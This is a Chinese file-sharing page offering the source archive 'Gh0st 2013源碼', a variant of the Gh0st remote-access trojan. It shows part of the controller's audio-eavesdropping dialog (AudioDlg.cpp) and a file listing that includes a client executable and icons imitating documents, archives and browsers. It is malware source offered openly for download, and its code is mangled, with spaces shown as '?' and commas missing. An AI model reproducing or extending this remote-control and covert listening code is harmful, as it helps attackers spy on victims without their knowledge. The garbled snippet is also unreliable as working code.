資源簡介
Gh0st 2013源碼.zip
代碼片段和文件信息
//?AudioDlg.cpp?:?implementation?file
//
#include?“stdafx.h“
#include?“Client.h“
#include?“AudioDlg.h“
#ifdef?_DEBUG
#define?new?DEBUG_NEW
#undef?THIS_FILE
static?char?THIS_FILE[]?=?__FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
//?CAudioDlg?dialog
CAudioDlg::CAudioDlg(CWnd*?pParent?CIOCPServer*?pIOCPServer?ClientContext?*pContext)
:?CDialog(CAudioDlg::IDD?pParent)
{
//{{AFX_DATA_INIT(CAudioDlg)
m_bIsSendLocalAudio?=?FALSE;
//}}AFX_DATA_INIT
m_hIcon =?LoadIcon(AfxGetInstanceHandle()?MAKEINTRESOURCE(IDI_AUDIO));
m_iocpServer =?pIOCPServer;
m_pContext =?pContext;
m_bIsWorking =?true;
m_nTotalRecvBytes?=?0;
sockaddr_in??sockAddr;
memset(&sockAddr?0?sizeof(sockAddr));
int?nSockAddrLen?=?sizeof(sockAddr);
BOOL?bResult?=?getpeername(m_pContext->m_Socket(SOCKADDR*)&sockAddr?&nSockAddrLen);
m_IPAddress?=?bResult?!=?INVALID_SOCKET???inet_ntoa(sockAddr.sin_addr)?:?““;
}
void?CAudioDlg::DoDataExchange(CDataExchange*?pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CAudioDlg)
DDX_Control(pDX?IDC_SEND_LOCALAUDIO?m_blsSendLocalAudio_XTP);
DDX_Control(pDX?IDC_AUDIO?m_audio);
DDX_Check(pDX?IDC_SEND_LOCALAUDIO?m_bIsSendLocalAudio);
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CAudioDlg?CDialog)
//{{AFX_MSG_MAP(CAudioDlg)
ON_WM_CLOSE()
ON_BN_CLICKED(IDC_SEND_LOCALAUDIO?OnSendLocalaudio)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
//?CAudioDlg?message?handlers
BOOL?CAudioDlg::OnInitDialog()?
{
CDialog::OnInitDialog();
//?TODO:?Add?extra?initialization?here
//?Set?the?icon?for?this?dialog.??The?framework?does?this?automatically
//??when?the?application‘s?main?window?is?not?a?dialog
SetIcon(m_hIcon?TRUE); //?Set?big?icon
SetIcon(m_hIcon?FALSE); //?Set?small?icon
m_blsSendLocalAudio_XTP.SetTheme(xtpControlThemeOffice2003);
CString?str;
str.Format(“\\\\%s?-?語音監聽“?m_IPAddress);
SetWindowText(str);
//?通知遠程控制端對話框已經打開
BYTE?bToken?=?COMMAND_NEXT;
m_iocpServer->Send(m_pContext?&bToken?sizeof(BYTE));
m_send_localaudio.SetFlatstyle(TRUE);
m_send_localaudio.SetTheme(xtpControlThemeOfficeXP);
m_hWorkThread?=?CreateThread(NULL?0?(LPTHREAD_START_ROUTINE)WorkThread?(LPVOID)this?0?NULL);
return?true;
}
void?CAudioDlg::OnReceiveComplete()
{
m_nTotalRecvBytes?+=?m_pContext->m_DeCompressionBuffer.GetBufferLen()?-?1;
CString str;
? str.Format(“Receive?%d?KBytes“?m_nTotalRecvBytes?/?1024);
SetDlgItemText(IDC_TIPS?str);
switch?(m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
{
case?TOKEN_AUDIO_DATA:
m_Audio.playBuffer(m_pContext->m_DeCompressionBuffer.GetBuffer(1)?m_pContext->m_DeCompressionBuffer.GetBufferLen()?-?1);
break;
default:
//?傳輸發生異常數據
return;
}
}
void?CAudioDlg::OnReceive()
{
}
void?CAudioDlg::OnClose()?
{
//?TODO:?Add?your?message?h
?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----
?????目錄???????????0??2013-09-21?15:38??Gh0st?2013源碼\
?????目錄???????????0??2013-09-21?14:55??Gh0st?2013源碼\Bin\
?????文件?????3973120??2013-09-21?14:42??Gh0st?2013源碼\Bin\Client.exe
?????文件??????????33??2013-09-21?14:55??Gh0st?2013源碼\Bin\Client.ini
?????目錄???????????0??2013-09-21?14:29??Gh0st?2013源碼\Bin\ICO圖標\
?????文件????????4286??2009-07-03?06:43??Gh0st?2013源碼\Bin\ICO圖標\451.ico
?????文件?????????766??2006-06-29?15:59??Gh0st?2013源碼\Bin\ICO圖標\bat.ico
?????文件????????2238??2007-03-31?23:50??Gh0st?2013源碼\Bin\ICO圖標\blank.ico
?????文件????????2238??2006-06-29?18:20??Gh0st?2013源碼\Bin\ICO圖標\doc2003.ico
?????文件?????????766??2006-06-29?16:11??Gh0st?2013源碼\Bin\ICO圖標\dos.ico
?????文件????????2238??2006-06-29?18:20??Gh0st?2013源碼\Bin\ICO圖標\folder.ico
?????文件????????2238??2006-06-29?22:32??Gh0st?2013源碼\Bin\ICO圖標\ie.ico
?????文件????????2238??2005-10-26?13:26??Gh0st?2013源碼\Bin\ICO圖標\jpgxp.ico
?????文件?????????766??2006-06-29?22:34??Gh0st?2013源碼\Bin\ICO圖標\rar.ico
?????文件????????2238??2003-06-11?20:03??Gh0st?2013源碼\Bin\ICO圖標\txt.ico
?????文件????????2238??2006-06-29?22:34??Gh0st?2013源碼\Bin\ICO圖標\txtxp.ico
?????文件????????2238??2006-06-29?22:33??Gh0st?2013源碼\Bin\ICO圖標\wmp.ico
?????文件????????2238??2006-06-29?22:34??Gh0st?2013源碼\Bin\ICO圖標\wmpla
?????文件????????2238??2006-06-29?22:34??Gh0st?2013源碼\Bin\ICO圖標\word.ico
?????文件????????2238??2006-06-29?22:34??Gh0st?2013源碼\Bin\ICO圖標\xls2003.ico
?????文件??????895921??2008-05-24?15:18??Gh0st?2013源碼\Bin\QQwry.dat
?????目錄???????????0??2013-09-21?14:29??Gh0st?2013源碼\Bin\sound\
?????文件???????77240??2002-09-02?00:00??Gh0st?2013源碼\Bin\sound\downfile.wav
?????文件???????90476??2010-12-06?19:33??Gh0st?2013源碼\Bin\sound\Login.wav
?????文件???????88514??2010-12-06?19:33??Gh0st?2013源碼\Bin\sound\Offline.wav
?????文件???????75326??2002-09-02?00:00??Gh0st?2013源碼\Bin\sound\upfile.wav
?????目錄???????????0??2013-09-21?14:29??Gh0st?2013源碼\Bin\tool\
?????目錄???????????0??2013-09-21?14:29??Gh0st?2013源碼\Bin\tool\ico\
?????文件????????2238??2011-02-18?11:59??Gh0st?2013源碼\Bin\tool\ico\ico.ico
?????目錄???????????0??2013-09-21?14:29??Gh0st?2013源碼\Bin\tool\res\
?????文件??????879120??2002-01-17?20:45??Gh0st?2013源碼\Bin\tool\res\ResHacker.exe
............此處省略4509個文件信息
- 上一篇:Redis開發與運維高清帶書簽(付磊).pdf
- 下一篇:海康威視IP自動搜索軟件
評論
共有 條評論